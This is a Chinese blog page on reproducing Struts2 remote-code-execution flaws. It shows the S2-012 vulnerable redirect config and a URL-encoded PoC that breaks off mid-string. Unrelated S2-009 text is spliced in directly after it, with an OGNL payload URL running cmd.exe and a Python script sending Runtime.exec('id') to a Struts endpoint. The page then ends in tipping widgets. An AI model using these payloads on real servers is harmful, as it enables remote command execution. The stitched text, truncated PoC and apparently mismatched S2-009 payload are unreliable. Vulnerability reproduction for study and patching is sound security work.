struts2远程S2-012复现学习

本文详细介绍了Struts2的S2-012漏洞,该漏洞源于配置Action中Result使用重定向类型并结合${param_name}

S2-012复现

原理:

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

影响版本:Struts 2.1.0-2.3.13

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

漏洞搭建

在这里插入图片描述

poc构建

%25%7b%23%61%3d%28%6e%65%77%20%6a%61%76%61%2e%6c%6
### Struts2 S2-009 漏洞复现方法 Struts2 的 S2-009 漏洞主要源于其对 OGNL 表达式的处理不当,允许攻击者通过特定的输入执行任意代码。以下是关于该漏洞的具体分析以及如何进行复现的方法。 #### 背景介绍 Struts2 对于之前版本中的某些安全问题进行了修复,例如针对 S2-003 和 S2-005 的修补措施分别涉及禁用 `#` 号和反斜杠 `\` 符号[^1]。然而,在这些修复之后,新的绕过方式被发现并最终导致了 S2-009 漏洞的发生。 #### 影响范围 此漏洞影响以下版本: - **Struts 2.0.0 到 Struts 2.3.14.2** #### 漏洞原理 S2-009 是由于开发者未能完全阻止恶意用户构造特殊的 URL 参数来触发 OGNL 表达式解析器的行为所致。具体来说,即使框架已经尝试过滤掉一些敏感字符(如 `#`),但仍然可以通过其他手段实现类似的逻辑操作,从而达到远程命令执行的目的。 #### 复现步骤描述 为了成功重现这一漏洞,可以按照如下方式进行设置: 1. 准备目标应用程序环境,确保运行的是受影响范围内未打补丁的 Struts 版本; 2. 构造含有恶意 payload 的 HTTP 请求发送给服务器端口监听地址; - Payload 示例形式可能类似于下面这样 (需替换实际 IP 地址) : ```bash http://<target-ip>:8080/example.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22cmd.exe%22,%22/c%22,%22dir%22})).start()} ``` 上述例子展示了如何利用 `${}` 结构嵌入一段 Java 代码片段到请求参数当中去调用系统 shell 命令。 注意:以上仅为理论说明用途,请勿非法测试他人网站! #### 防护建议 为了避免此类安全隐患再次发生,官方推荐采取以下防护策略之一或者组合使用它们: - 升级至最新稳定版 Struts 库文件; - 自定义配置白名单验证机制限制外部可控变量的内容类型; - 开启开发模式下的调试日志记录功能以便及时发现问题所在位置。 ```python import requests url = 'http://localhost:8080/example.action' payload = {'redirect': '${@java.lang.Runtime@getRuntime().exec("id")}'} response = requests.get(url, params=payload) print(response.text) ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

脚本实习生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值